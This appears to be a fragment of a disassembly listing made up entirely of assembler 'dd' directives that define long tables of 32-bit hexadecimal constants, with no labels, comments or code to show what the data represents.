		dd 0D7D03A41h, 0EEC2BB04h, 4336E189h, 60A3F16Bh, 12100143h
		dd 12480D94h, 0E0F9D77Dh, 611743F9h, 50EB27B7h,	0FD20D106h
		dd 1409BD02h, 5D453356h, 0ED40DD7Ch, 98674B2h, 1B896812h
		dd 40F3FFB0h, 0D4972FE2h, 7071621h, 612331DEh, 0E0D2F776h
		dd 5E4E5A56h, 0C3F2E8A0h, 0EA3102F0h, 16108194h, 0F3B300BEh
		dd 62CB0C80h, 610AEBD0h, 67BC075h, 8858C37Ch, 0FA30181Eh
		dd 5E53E9BBh, 6232BE92h, 7F2C2B1h, 23C80E5h, 2FC2940Ch
		dd 7D26A576h, 9E01C039h, 206303E4h, 9EF4FBFh, 52480AF8h
		dd 2DA12CA3h, 2DFF0993h, 44224058h, 0ECBC2274h,	0F43BD001h
		dd 0CB3A01AEh, 51680B98h, 2631464Ah, 7BF54445h,	0A7AE35F1h
		dd 0A3F0C1Ch, 8F769FBFh, 90B4412Ch, 0E9C290F2h,	4446772Fh
		dd 0B1CB5FDEh, 6C45D5FEh, 85997FC9h, 2DFDFE68h,	0A86F4A0Fh
		dd 0F659B266h, 0E52A0908h, 562F47E4h, 8907FC5Dh, 1AAD6D1h
		dd 200F2CE8h, 7670991h,	88774F2Ch, 9F210747h, 92FA0163h
		dd 0C5C7F40Ah, 68A14054h, 30FD7521h, 0D3F35A4Ah, 0FC872A13h
		dd 4A1C326h, 4146B2FDh,	936BC10Fh, 604DE1Bh, 0C5FE586Ch
		dd 2D6839E0h, 88466B1Bh, 50660D01h, 0C23058B0h,	0CABCC06Fh
		dd 6690C0EBh, 7AEAF6B2h, 605887BDh, 0E8EADA04h,	0DC20A21Fh
		dd 453923Fh, 126DD233h,	5894220Bh, 0B82AEDAFh, 0FDE9B09Bh
		dd 90F99F33h, 0D9426D89h, 0E3CACF21h, 0DEEE479Fh, 833AF641h
		dd 0DEC8412Eh, 0FE89017Bh, 18207ABCh, 0BEB4D190h, 7F667D69h
		dd 9475B3AAh, 685F1CCFh, 0EA4EF8EDh, 0A052188Fh, 12D6978Ah
		dd 3D39BA31h, 0BF41E020h, 81B56CF0h, 2AB3E9DBh,	553A8F56h
		dd 0DAF83701h, 0C7F697E4h, 0EFB5D8Dh, 0D11B882Fh, 10B3DB52h
		dd 0EA4A0FA7h, 83EFD012h, 0FE8F5E31h, 0F771BFC9h, 4B76C0A7h
		dd 26CB2F49h, 0A75A747Eh, 6340282Fh, 34EE830Ch,	0C0094E01h
		dd 0C2A56A8Dh, 2CEBBB4Fh, 6A2968CDh, 8DAA8315h,	530D4001h
		dd 304CE921h, 0EED3C378h, 7831C993h, 8FF41DDh, 0F4E7BFD3h
		dd 0D7956A7Fh, 73D139A0h, 0E5BF525Fh, 5F5AA5C7h, 6BD947A1h
		dd 0F3B9F116h, 7FA602C8h, 0AA897D25h, 7E1389F7h, 74460B10h
		dd 96A1C45Dh, 0B35272F5h, 4E13975Bh, 0FD3580Bh,	526B495Ah
		dd 95D61209h, 555A4142h, 6A77C103h, 80465E5h, 0E53012FFh
		dd 8AD0519h, 5913EF02h,	0D9821BA0h, 2FC71053h, 0FC2577F1h
		dd 0EB1B9D70h, 0FF5E8433h, 8F660E43h, 3B2CC102h, 0F3969A32h
		dd 0DA1D13ECh, 2E1C4047h, 0A0B9FD0Bh, 5CF7805Eh, 0B5E9C209h
		dd 393A9A3Ch, 99DCECEFh, 0FEA50C60h, 0E9F6D0CFh, 0A974952Dh
		dd 8E0C7D05h, 3E128E63h, 0DE0D5CA9h, 0D4536FCAh, 69ACC955h
		dd 47C4DBAFh, 3AF76AF6h, 5F9B768Ch, 0E49BA45Fh,	0F71D4C6Bh
		dd 0A8979F8Eh, 629BC4A6h, 0FA535005h, 0F2C35561h, 0E7F53994h
		dd 0A7073F84h, 9C44CA7h, 56F986C2h, 0CC71869h, 6E16F180h
		dd 0EAC51EE9h, 575328BAh, 7F786801h, 9EE91A89h,	0ADB2092Fh
		dd 6C5D0880h, 0F7EC0EA6h, 7AF6144Eh, 535624h, 77887460h
		dd 440526BEh, 0FE872E92h, 973A3BF0h, 3A01D861h,	0E4924BE3h
		dd 554BB568h, 0BEC199FCh, 7F308C79h, 827C97D1h,	34685600h
		dd 6D166A2Eh, 0CE814600h, 48317901h, 0FA01FB7Bh, 50F30CC7h
		dd 2BA3D5E9h, 0CC6231FBh, 0EAF97FD0h, 4B7EB892h, 0C1E82CBCh
		dd 0C212B984h, 0CC947AD1h, 0F75D4AC0h, 74E9BE8Fh, 2025B7BDh
		dd 0B14BBA2Dh, 4179595Ah, 0E568F001h, 0C0292C0Dh, 1C164074h
		dd 0C0B45AE9h, 43F4BAFBh, 5602CF2Fh, 0E44E1630h, 670BF1EEh
		dd 7D1E3750h, 0EA404102h, 0AD05F9F5h, 0DE2A15FCh, 0DA99B42Eh
		dd 24DED99Dh, 70E4A2A7h, 0E72C033Ch, 0D342C992h, 0B1427751h
		dd 0FFDC75D5h, 0C2885287h, 2742D726h, 0B6A28B21h, 699259EEh
		dd 0BAFED075h, 0F769D95h, 0D9095717h, 770D1A93h, 8154CFD8h
		dd 0EEC8E890h, 38EA81E5h, 0F7682349h, 9659763Ah, 912D286Bh
		dd 58E5A348h, 5CC3ED2Ch, 49FD0A68h, 0DC605018h,	51B4F4D7h
		dd 8487F1A5h, 0F07D2A4Bh, 8AF27CC2h, 52E9154Eh,	5717B13Eh
		dd 0DCF81Fh, 2910DC42h,	4A0268DEh, 20E63450h, 7F1AE90Fh
		dd 0F08C4495h, 16EBE27h, 675CAEB8h, 4544E868h, 663AE4A8h
		dd 7962D82Fh, 624525FDh, 3E90CB0h, 0BEBABF41h, 45416D7Ch
		dd 5660A365h, 22E910FEh, 632A7569h, 0C504B038h,	9AB2A714h
		dd 0E7D7A1EEh, 428623E8h, 97BE5601h, 214C264Eh,	735F03Ah
		dd 30BED15Fh, 6DC781ADh, 0F516279h, 50561D2h, 13130908h
		dd 0B85091A0h, 35067160h, 49DB051Eh, 0E12D1FA0h, 938C23Fh
		dd 0B59158C3h, 0D00AC07Ch, 0E956189Dh, 0F65E593Bh, 86F8D02h
		dd 0E0805D04h, 279C53ECh, 7B04214Eh, 0F81365F9h, 17FA4A2Ah
		dd 4A548BAEh, 0A0E304BAh, 9023B3AAh, 989D3DA4h,	0A1EC29D5h
		dd 49632E20h, 7DD80007h, 0FA317B78h, 3B4FA7B8h,	371318A6h
		dd 8D34BE2Dh, 4CA6A9BBh, 4F629C7Eh, 0F117EC5Eh,	57B28E9h
		dd 0FB595328h, 962E1F0h, 5832C926h, 3C2AA90Fh, 0C675C91Ch
		dd 376A3526h, 0F79BBF44h, 7F49D92Dh, 492B5Dh, 93B1140Ch
		dd 41E985F7h, 0E1428D4Fh, 0FD47854h, 5EFEDCF6h,	1227E04Dh
		dd 8096F32Ch, 4520ED1Eh, 5AD01B58h, 0CF286680h,	0D0524859h
		dd 13D50634h, 81A05B3h,	9A90853h, 51983328h, 9D005CA2h
		dd 35AF5B7Ah, 1C41DBEFh, 141CA008h, 0A178E916h,	3F4DD9FBh
		dd 0C4C476E2h, 0D71CADABh, 5F389182h, 0BE62BC54h, 20C65736h
		dd 65F5FE25h, 94D5272Eh, 26809734h, 0E96C5F48h,	4842BB27h
		dd 48F420F2h, 49009812h, 2538B431h, 6A0E5535h, 60CC0553h
		dd 0D4E914E0h, 0DCE69551h, 0B60E60E7h, 0ED2D4476h, 25E4D491h
		dd 1682071Ah, 8E4AC5BCh
		dd 92344290h, 0B4847582h, 0A7FC80EFh, 5F7FD45Dh, 0F1842BFDh
		dd 0BB58FBFh, 0DB539768h, 0E9510F72h, 2E5A456Bh, 0B118F908h
		dd 0DBC1A02h, 6DAEE0F7h, 2EC695AFh, 79DBF72Fh, 0E87E6B7Dh
		dd 4E285E50h, 5BBAB9A9h, 42ECA881h, 85A1BC7Eh, 30EF4668h
		dd 0BC1BDDBh, 0ECFACF98h, 66457A01h, 5DEE315Eh,	75DAF0CDh
		dd 0FD0C6C5Ch, 27684AB1h, 34F94AE3h, 646AEE82h,	0CEF84037h
		dd 22FA47Bh, 3CD71B0Fh,	0D07DEF31h, 0C7F4804Fh,	8B1E5019h
		dd 8A634EB7h, 9EE21CCh,	0FD7E8DE9h, 838E5C12h, 0ADC9B05Fh
		dd 3041E74Bh, 0EA97007h, 18F00C82h, 0F05472A0h,	5F6F6807h
		dd 0B0DBDD09h, 0FFC38189h, 6B0CC22Dh, 74137FB2h, 4F89FF9Ch
		dd 2C33C34h, 68412F01h,	19710F22h, 0BFB8C892h, 59CB01C2h
		dd 0FAD8B3FFh, 7C840941h, 53AA1235h, 0CD1FB07h,	0D182F9CEh
		dd 34C9F4C5h, 0B06C00FFh, 9C667504h, 5F08A0BEh,	8CC4D85Dh
		dd 406D485Dh, 25183F83h, 690C7CD5h, 0A4C2731h, 80D684Ah
		dd 5D14020Ch, 0CBC1595Dh, 110CE5D9h, 9DD06D6Fh,	0AB52AC05h
		dd 0E9B073F2h, 1C9AEB1Bh, 88685B0Ah, 0B360CA1Eh, 13C3FED7h
		dd 209BA8E9h, 365EF9D2h, 49F6248h, 5DCF5C27h, 5329214h
		dd 0C4A06686h, 28A6EC80h, 0C475F475h, 8569EE9Eh, 0E840D7C0h
		dd 0A21CE81h, 10D5E39h,	0FBAFB435h, 2842619Fh, 0C7FE025Ch
		dd 5F21EF80h, 83009DDEh, 0E996B252h, 8C6EEBC6h,	594F6369h
		dd 87FE44BAh, 2498FF5Ah, 99A49FABh, 6A96BEC1h, 767A970Ch
		dd 0F9015B18h, 1E2FBA12h, 6F8B4506h, 9F56A7FCh,	3704822h
		dd 0B20EE901h, 23C4262h, 5AC85A25h, 0FB1667F5h,	0A18432C0h
		dd 0E91DA4FFh, 6545982Fh, 4120895Fh, 0DAE99877h, 0D0B097A6h
		dd 9A6EAEFh, 576CF32Fh,	88FC0296h, 2D1C5A60h, 35FA614h
		dd 520105FAh, 0A9D0150Ch, 4058C875h, 27A7055Bh,	63976D4Fh
		dd 0E906082Ah, 761504Eh, 1D13ADF2h, 0B6EA606Eh,	0C75E7871h
		dd 0DD2031B1h, 0DF7E14C9h, 640F107h, 0DF335C89h, 0F2FE8025h
		dd 0F42D056Fh, 0A1C844ABh, 535E0521h, 0D0BBB2FBh, 66B27607h
		dd 2C05BF02h, 563DE948h, 0C2800116h, 26D428D7h,	0E2515043h
		dd 58E60803h, 0C805EEC0h, 7F2C5EC6h, 0E9490CFEh, 0C1DF656Bh
		dd 0D66F220Bh, 0F1898063h, 90961D24h, 0A4C45E31h, 745B6C8Eh
		dd 0FDA523F8h, 0CAAF4BD6h, 32EB1A27h, 5F5E773Ch, 9F4A5D70h
		dd 82419312h, 0C2918192h, 309C212Ch, 0BC7DA3ECh, 40004909h
		dd 9B4662Bh, 3BCB8103h,	0B36D6402h, 390DF8E3h, 0A6E9277Fh
		dd 0D20517D2h, 8909CC47h, 0A0F235F0h, 9533EEC9h, 0A5BDAD5Bh
		dd 5AE5C15Bh, 7430412Fh, 0F8080A5Fh, 0E89767F7h, 80F2DFDDh
		dd 0D064EB80h, 0ECBE6C06h, 66047541h, 76F56852h, 43B35EAh
		dd 13F75F27h, 795E4904h, 0A35F0DA7h, 0DCABD22Eh, 5797515Ah
		dd 3054819Eh, 381EB0BBh, 0B155C8FEh, 0E3C003F4h, 37D38602h
		dd 5662F6A4h, 0C6C0125Ah, 28BE2C55h, 5B0474D8h,	0BCE3355Bh
		dd 8BAB4EFCh, 0B14392AAh, 0F8EBC03Fh, 97299068h, 0B6162146h
		dd 604B0EDh, 0F3E74F4Bh, 165D2D26h, 0FDE35689h,	60E9128Bh
		dd 2E601027h, 9F4B4106h, 0F00BBB72h, 0FD280287h, 5D56C04h
		dd 0D7090AB5h, 5A6B7266h, 0AE6384F0h, 2D7EDDE7h, 0C7525531h
		dd 0B6182E20h, 952A3F74h, 3021BFE7h, 30FE71DCh,	841DF6ADh
		dd 2981610Eh, 2635E9F2h, 624E212Eh, 89323FC9h, 0C8C76A2h
		dd 97901BEh, 0F49F8E90h, 6FD662AFh, 74189A5Dh, 5E680576h
		dd 0E97CCC6Ah, 12067859h, 0F6AC0203h, 7D10A4F4h, 0B75F4E40h
		dd 18549A0Bh, 9809FDC7h, 0F45857BEh, 5CD49AA5h,	7C20A05Bh
		dd 26C1594Fh, 656F732Bh, 676F1C92h, 4A0B6465h, 0B7603016h
		dd 7ABA808Eh, 7B4C1B12h, 37EA8101h, 0F02FA1BCh,	6809BFD4h
		dd 801D0853h, 0A658E8CFh, 0B102B73Ah, 0D70B6B79h, 2C025861h
		dd 5A814D73h, 992461CEh, 27ADACDEh, 4CF41477h, 0FE00F092h
		dd 21E2F591h, 0DD975AD1h, 39072018h, 533F6880h,	5209C243h
		dd 8FC20DE9h, 0B8BA7263h, 0F8283748h, 9125B97h,	0D955FDE5h
		dd 1B308948h, 5A184D2Bh, 5882C213h, 68565C38h, 2AD02E27h
		dd 0C87D0782h, 0C9A90A99h, 50DF4F2Ch, 59DC25CAh, 54A3A1A0h
		dd 0D2F6472Fh, 5925A5B6h, 8A6C629Dh, 0F83E93C9h, 88BD5AE0h
		dd 0FF2F070Ah, 0E865A524h, 0F755CBEBh, 160B0714h, 0F7757901h
		dd 0C81876Ch, 0C72C205Dh, 87605441h, 6BFB09EEh,	807D39BBh
		dd 0FCE907D6h, 9EDE9ACFh, 0B8DD2F10h, 4E54E9F2h, 50F4545h
		dd 14979564h, 0CB737593h, 426F5D40h, 0B758E98Ah, 0A7EE59B4h
		dd 8DBBD2F7h, 413D2A1Dh, 30346729h, 722182EBh, 9B4F257h
		dd 0EA3701DEh, 29480D50h, 5102537Ah, 69BB3E1Bh,	3DF32486h
		dd 1052F40h, 2DD0070Fh,	2E53E0D1h, 0D8044FF3h, 902852E9h
		dd 3E04D048h, 7F5FE495h, 3CED2754h, 0EE407479h,	4B342352h
		dd 45C4AE7Dh, 17E00810h, 0B7937865h, 2EF8C187h,	0B25C10ADh
		dd 0ED5E0A83h, 0FA380520h, 0BADF12A1h, 0A3EFB712h, 9EE3125Dh
		dd 9DACB4Bh, 0FD5242FEh, 67E132B8h, 0E6189CA4h,	34FED143h
		dd 7D7882F5h, 1AFAC74Fh, 787F0C9Eh, 2786B3B9h, 0FC256D05h
		dd 9CBAA50Dh, 4566E1A6h, 0A4D98C7Bh, 7B652581h,	854FB7F9h
		dd 0D9BA1AEAh, 56AC6E02h, 97BAE983h, 6EE5C302h,	403B126Ah
		dd 9FC2647h, 0C2E909C8h, 2D0A84DDh, 4B9ADBFAh, 2732855Ch
		dd 0DE17625Fh, 6FB90201h, 0A7632979h, 674CC217h, 7DD13709h
		dd 40082E91h, 5CB5F2A2h, 89570A07h, 2C7468CFh, 9B182CE3h
		dd 0FEEDE731h, 36D93E07h, 0F9D4F529h, 504BD0A1h, 0B062E469h
		dd 0DA2098DFh, 7B4381AEh, 450722D0h, 0D60D5CF1h, 6F53A605h
		dd 35BA0519h, 964FFA49h, 20560BD5h, 0FFC6825h, 0B14C4AABh
		dd 0EF8320A5h, 0BF049E19h, 0A82AC72Ch, 130DD0E5h, 0C4FB14E9h
		dd 2A54338Ah, 0CDAB0B4Fh, 16452BE6h, 71AF51CBh,	0EF53597Eh
		dd 43E9F50Bh, 9335D3Ah,	7F38C3D1h, 0BED3CAEDh, 32688890h
		dd 0F83FE149h, 0BAFDE8C9h, 340F875h, 0B158C788h, 0A6E880E8h
		dd 0C1EAF928h, 43C5BEAh, 2CC81D69h, 5912742Ch, 0E94674FFh
		dd 7BF6A116h, 963BF87Eh, 0F167FE2h, 4A23B62Dh, 0CA0322E0h
		dd 3C44719h, 7EA855C6h,	74DBCFB0h, 7D719C25h, 62462EC8h
		dd 8030313Fh, 0BB2756F7h, 3CF809AFh, 0D7B9975Fh, 22240ACh
		dd 3CA2617Eh, 9BDE8942h, 0F2DB7849h, 5C280519h,	0AFE80197h
		dd 545030B2h, 256EBF25h, 14976812h, 0AAC5B5CDh,	0E146CC7Ah
		dd 192024Ch, 5EC97ADAh,	2074ECE9h, 0C5B2D68h, 0F409EEE6h
		dd 0B0950FCFh, 0BEA8111h, 260B1B70h, 0E195C80h,	0CAB565BAh
		dd 1C080D28h, 48581402h, 8272EE6Bh, 71191AC0h, 0D3B5609Ah
		dd 4EF92C28h, 0CF31D687h, 0A861EF96h, 432D2C42h, 5ECE6610h
		dd 749123C2h, 5AE209Ch,	5103EFC1h, 227181B9h, 52322056h
		dd 0C77DAB17h, 75009A17h, 0C4FE1DB4h, 80D40DF6h, 0D40E65CCh
		dd 300B0BF4h, 586EE9E5h, 28F1FEA7h, 24A0C0F0h, 940D9F6h
		dd 0D9D53075h, 0C382BD98h, 6F256812h, 0F654C0E6h, 0B74B85C6h
		dd 4B2999BBh, 36CA6452h, 128BBE07h, 0BB748EE1h,	7ECD6127h
		dd 0AC3D122Bh, 6F9CF50Ah, 2F426072h, 923625E3h,	9A3A7E67h
		dd 0C11C1DC2h, 238186C6h, 2804B1C1h, 0CF1D817h,	17FE6D3Bh
		dd 80F05BE9h, 301227B5h, 0E85901E0h, 57AD36C0h,	123955BFh
		dd 5A47287Ch, 0DD0680h,	0D6EBC301h, 0F82932E0h,	97D05D6Ch
		dd 0A40065B5h, 1DA803CFh
		dd 8E007F63h, 23133C14h, 0FD56F901h, 254A7EFEh,	0AE58857Ch
		dd 0F9459D49h, 58D0D627h, 0CEB56EAFh, 0E47325C2h, 0F26B64DFh
		dd 14ABE38h, 4F66ABBAh,	4EC56E11h, 0D535DE20h, 8D2D05C4h
		dd 0E33055E9h, 4D0910C6h, 0EAD78919h, 6123ECCFh, 0DFF74907h
		dd 7529E997h, 83D1A70Bh, 0C0C7BA49h, 0CE6C9951h, 0FAEBC34Fh
		dd 0E248C0DAh, 144700E4h, 0EB81313Eh, 0F865242Eh, 5DC300CCh
		dd 0E97C2D36h, 3B539A24h, 5D565752h, 0BCB46B78h, 0E4CE6C8Ch
		dd 8BAE799Fh, 2BF45EF2h, 51C0B7E1h, 69755AF9h, 7582C31Dh
		dd 65E26850h, 48A4E902h, 29A7343Bh, 2F7CC328h, 0E9B08543h
		dd 7CBDD5D9h, 93EE6B05h, 0A1206CB0h, 0BB5E4E02h, 0EB96A0CEh
		dd 5E1CA12Ch, 354EA4B3h, 803EDC96h, 4E8C0BFh, 2F881334h
		dd 656158C1h, 0E9F9C01Dh, 0DAD64A2Fh, 0AD4995A1h, 188415Dh
		dd 0CFA37FACh, 0CA005BC8h, 4D2D423Ch, 0A3C55A83h, 0F3240586h
		dd 14BCB508h, 0C9C4F156h, 0F74A0093h, 0ECA81D2h, 3375E11h
		dd 4872E2C0h, 3294012Bh, 0A58C4C08h, 3200BECh, 0F41DB04Eh
		dd 290CC46Bh, 0DD89FEC3h, 0BBF9166Bh, 4B53AB28h, 4077ABC7h
		dd 9248FFC9h, 69147ABBh, 27D65D01h, 5B894038h, 0A2680256h
		dd 5E78596Fh, 0FDD9F862h, 2EDE91Dh, 0DD63B2BBh,	0BD1238C2h
		dd 0C976EE62h, 7AE252C4h, 9991D3C4h, 2D2E391Eh,	0A690575Dh
		dd 579C1401h, 1CE2FCAh,	38A3E9D0h, 0E75ED12Ah, 618C3B3Ah
		dd 0A07E97B8h, 0DF257926h, 44E9AF01h, 502E736Bh, 0B3413B06h
		dd 5084E02Fh, 0CDCB01Eh, 74172CCBh, 9585B9E6h, 40518AE9h
		dd 4A71F59Fh, 62B505F4h, 74C8354h, 688309D5h, 81534401h
		dd 6EBDEC22h, 0A19CC173h, 3B078B2Ah, 8129B94h, 35BE6BAh
		dd 9351CEC2h, 6E260103h, 2962752Bh, 81CA0F2h, 0B6AA482h
		dd 0B430027Dh, 0C2A4FC32h, 54832BCAh, 17131A3Eh, 9CBFD48Ah
		dd 2E5F05E9h, 8E7D8891h, 0ACE2C504h, 587B04ACh,	9FC6397Eh
		dd 4AC60010h, 0B22D9D21h, 5E0A0D6Ch, 705F801h, 0F7A55F1Dh
		dd 86685F81h, 207DB849h, 0D5D8F1EFh, 25FEBB9Bh,	20C223DEh
		dd 0A18706EAh, 21CDA20h, 1B438F05h, 507D402Fh, 326B047Eh
		dd 0AA89375Fh, 447DD9B5h, 2F3EBD92h, 0F11E7F5Ch, 3B8EE912h
		dd 7E71040h, 0F690EF80h, 2162951Bh, 566BF677h, 7EB90CC0h
		dd 0B0739B48h, 513AEEE3h, 0C7D8E6E0h, 707B1772h, 0E95B7189h
		dd 0D7032A30h, 0B95840B8h, 74ED685Bh, 0A0CC306Fh, 4801C126h
		dd 4039F781h, 79302505h, 0F4BE17D5h, 5DAB08C8h,	15DB822Dh
		dd 0B681DF46h, 0EB7C12E6h, 62EE61CFh, 2A90F1E8h, 0BBFDC16h
		dd 0B3A0B89Bh, 204C9CBDh, 9EA287Ah, 51FE79Fh, 0EF186859h
		dd 46D99E34h, 0BC3E2535h, 22E9E0CBh, 4316D267h,	5CD3F297h
		dd 77E9759Bh, 0C27D347Ch, 255A739Dh, 9164C75h, 207DBA52h
		dd 0EAC1CC00h, 0B7984208h, 856F5A0Ch, 1BFB5870h, 3C26F431h
		dd 4BD7AAE5h, 0DEF534B3h, 7812020Ch, 4DE94CE6h,	0C9DCD657h
		dd 1373C584h, 68A6C209h, 0B47401E7h, 60576B2Dh,	9A56E9FFh
		dd 0D1661C88h, 0F7AECEEh, 0B515F929h, 85D7E909h, 0FB9FD466h
		dd 97F0A86Fh, 4A3C1657h, 94580EAh, 9FF01C4Fh, 5D14AA9Eh
		dd 42DA0144h, 4C297E89h, 90DDEC2Fh, 0E975610Ch,	4A978BB2h
		dd 0B4CDAB58h, 0DD0590F4h, 0C2428BE5h, 0A9CE4AF7h, 20785F12h
		dd 0D82EF695h, 0BC43FF6h, 4792262Dh, 6BEF545Dh,	0C6D6B07Dh
		dd 265D051Ch, 84D6017Ah, 0EA0813C9h, 0D8AA1113h, 635EE9B8h
		dd 0B6A84216h, 3EBFE54Bh, 522C8F8Fh, 840E171Bh,	0A89BEBF2h
		dd 409DE916h, 4955059Bh, 2D047BEBh, 0FB3DF2Bh, 0CF49A0EAh
		dd 0E1B85002h, 0D46D830Ah, 75F1088Ch, 3BF4073Eh, 0E3A4BF2Ah
		dd 0E7EC49EEh, 0BDB4CE75h, 9E58A0D6h, 5358806Eh, 15048h
		dd 38F77145h, 2508B3B8h, 14DE3228h, 408CE225h, 4A5B3B73h
		dd 2DB5ACB7h, 4DBDA0A9h, 0F6372863h, 7A6C4118h,	942D72DCh
		dd 7968059Ah, 2BDC9955h, 0B152A293h, 8A6FD141h,	0DD930D4h
		dd 282CF8BDh, 0B8A1613h, 48433A38h, 533F5A86h, 0C69BE17Dh
		dd 5F58123Bh, 60B518BEh, 20BF4CEDh, 1A490CF2h, 0ACFF9745h
		dd 256D3A40h, 18D63441h, 671ED00h, 0DCC78333h, 19F2C094h
		dd 0F4E941C9h, 3022CC9Fh, 0B9106233h, 51245B9Bh, 0EC1D0B4Dh
		dd 43D200Bh, 6793DA9Fh,	6984BCCDh, 0E94F56EDh, 21EE440Dh
		dd 64B25D4Bh, 4D9A3578h, 0A296842Bh, 78E9C51Eh,	0F580C540h
		dd 90EE28DBh, 831A55B0h, 9244AF60h, 7217E6B6h, 274298C4h
		dd 0A866A246h, 0B3783C27h, 68640182h, 485A43A8h, 0D175E28Bh
		dd 9DA6623Ah, 0FD8BF77Eh, 0F660145Ch, 1692FD54h, 0FC9DAA5Eh
		dd 0DD96B6FCh, 2B8A435h, 0D9010CD1h, 0A0088F88h, 4B80FEE2h
		dd 504F236Ch, 81D8EEC9h, 464BE53Fh, 1231226Ch, 6FE9B56Fh
		dd 0ED811084h, 98F701C3h, 489D69BEh, 8E26081Eh,	0B88743BAh
		dd 7F660D2Fh, 49027C27h, 0D996851h, 2802DADh, 0D8F75428h
		dd 65130B05h, 6FF08026h, 1853BF5Eh, 9123D862h, 853E15FFh
		dd 4D431F0Ah, 6A85ACCCh, 67656F44h, 5BF13FC8h, 8464A28Eh
		dd 0E3A969BCh, 0BB473D12h, 0C39DC43Ch, 0E18CBA77h, 0E05DB0D2h
		dd 0BEB8196h, 8D1569Fh,	522C90F5h, 33F4BD58h, 455C5B54h
		dd 21556615h, 583A17A6h, 3D40379Bh, 0E9D05EF7h,	0BBA61EBAh
		dd 94B9CFBDh, 0CF27DF86h, 7309F2C5h, 0EC8ADDAEh, 0C597CB50h
		dd 300B1FC7h, 80D0B62Ch, 51D5C605h, 42824EB1h, 0EA8102E3h
		dd 5E2D7652h, 0BD32FF87h, 699C6540h, 0BA6EB001h, 914F9864h
		dd 82B1AC2Eh, 0D512BF68h, 0B52015CEh, 16F19026h, 73A3775h
		dd 254F394h, 2E4170D9h,	0D5591798h, 0CE627D79h,	3805DA22h
		dd 2DFA4507h, 0DF5EEED1h, 1279A2CCh, 721678h, 0E9878B72h
		dd 8381018Dh, 0E4AD82CEh, 24B900D2h, 4C1CA21Bh,	2D84F181h
		dd 0ECBE50AAh, 825167Eh, 0E129C021h, 0CA060105h, 2B015D73h
		dd 9F649B13h, 3EE49080h, 9564406Ch, 34334413h, 1EC18D07h
		dd 4FBF1384h, 2920BAE4h, 0E9516BB6h, 256CF69Dh,	0C684D956h
		dd 0C9C2DF72h, 0BD85E857h, 0A6150F1Eh, 0C16A4D21h, 1CBA58FCh
		dd 0DBE989C5h, 40B82292h, 334761h, 744B222Dh, 40E0D12Ch
		dd 59FF22B7h, 0B6BF0319h, 606B74D9h, 2F08D28Fh,	313C48h
		dd 14CF8147h, 184F1A7Dh, 0CE0153B9h, 8923EB56h,	96C86EFBh
		dd 0D13F4B87h, 3E2F4769h, 56FAD3D1h, 488ACA2Bh,	0BFFC20CEh
		dd 4E0964FCh, 62245E0Eh, 417A21D2h, 82640758h, 55315EF3h
		dd 5964C7FCh, 0F55AE650h, 0DB166A1Ah, 0EF96FFACh, 0AF02D384h
		dd 0DF01ED09h, 0B68385Bh, 0D9EADD4Bh, 8BE5E5F7h, 9FD96CF2h
		dd 0F5499283h, 0E9AC0B44h, 0D368A8D5h, 0B9A82219h, 47253718h
		dd 9A5F6C8h, 9A7C2FDFh,	1DDDE62h, 0CC55F780h, 283C65C5h
		dd 87ED3AFDh, 59EF885Bh, 820CF896h, 3E940464h, 396865D0h
		dd 0ACA14F18h, 792D32CCh, 0A7EA57BAh, 7597C255h, 0D377FF62h
		dd 1836A6CCh, 7F681417h, 0B8D79897h, 0D935391Fh, 30C75A78h
		dd 0CAE1B955h, 56B02672h, 1944EB09h, 8230F232h,	64148508h
		dd 4BFC8D4h, 762C735h, 0DAE2F404h, 89877628h, 904B3A3Eh
		dd 347A5407h, 76D56E29h, 0FA4ED5A8h, 5AAA5A2Ch,	841AF95Ah
		dd 7BE836E9h, 0BEF25B35h, 24F1CFF1h, 0EEEC5035h, 916112B8h
		dd 0BA04BE70h, 0CCEA22C3h, 0FB5495A0h, 0AC73E6CAh, 0C02FEE1Dh
		dd 680CA5A4h, 17281CB5h, 6B252C3h, 0BF5ADBBDh, 1D640438h
		dd 133E2CD0h, 0F6A7AFF5h
		dd 0A8D16812h, 2055CFA9h, 447E5AEAh, 8B20B05Dh,	0B9CEFBEBh
		dd 0DD6F2D1Eh, 0D72B3B6Bh, 59ECE90Bh, 177F147Dh, 0CC16C868h
		dd 20627895h, 90517999h, 95D6150Dh, 0FC709657h,	2DC7BCD9h
		dd 0C2C08177h, 8E965FDh, 62477E20h, 5FF94B57h, 68AE02DDh
		dd 123B50ADh, 5E367EE9h, 7608DAF7h, 586AF15Fh, 0ADC3622Fh
		dd 0A4802147h, 3E66A5AAh, 0C72548BDh, 55A26DEh,	0C720C3D3h
		dd 0C6C224Ch, 1EA835Fh,	2313C012h, 45A1B01Fh, 0FA484A41h
		dd 3A50AD01h, 31801CF2h, 810BFE43h, 410FE70Fh, 14FA33B3h
		dd 0AE2020FAh, 90AF894Ah, 155C2587h, 0E91A5006h, 0FC8B28D6h
		dd 0AC34092Dh, 9F0F2904h, 5F2708D4h, 0D916DA5Bh, 12C5F0B4h
		dd 1C7077Bh, 16B7E570h,	0DDC07075h, 4A0EEDFCh, 65AB9FE9h
		dd 0C3B3BB62h, 69E95EC1h, 95D93F66h, 7D0E8083h,	0C8775CC4h
		dd 0F927CF25h, 0B95181E8h, 202E5BD3h, 804A7486h, 4C684321h
		dd 0BA7E7869h, 4F74BE10h, 0D047C844h, 0D43F714Dh, 1EDB6CE5h
		dd 5A30080Dh, 7177276h,	0E9E1D124h, 8968A9CCh, 0CDD4DCB0h
		dd 66C212F1h, 3F30019Dh, 18D76733h, 0C3FE00B3h,	56AEBC0h
		dd 26173A0Ah, 0BA5257C8h, 0BAA5F8E8h, 95BA7BCAh, 2A4EDB66h
		dd 5D25AACAh, 0B058527Eh, 32882C72h, 1B762D1Bh,	1A9CEA01h
		dd 817F9AEFh, 3CB38Ah, 0E1FEEB80h, 9105D1CFh, 0B6D75602h
		dd 0AC95BDB0h, 55AB12Eh, 0A4FF3A99h, 0C2FAC5E2h, 25E07A5Fh
		dd 0DBD255Fh, 80008FFh,	1482C020h, 9A202BD6h, 0ABF7140h
		dd 2D8E5AF4h, 0D0E9288Eh, 705D0BE7h, 0BEF04112h, 29C713A2h
		dd 0AD089554h, 67111006h, 535BB04Ah, 28D4B305h,	81AF5BDDh
		dd 5AA1D3Bh, 87AADF1h, 0BF1510BDh, 5CDE8083h, 27E90B3Fh
		dd 1FD15DBAh, 0FBE5B939h, 22EF3E24h, 9334242h, 7D7E62DDh
		dd 956208F1h, 0E4ABC8BFh, 0AF3AE13Fh, 0A28CAF77h, 0BED94B39h
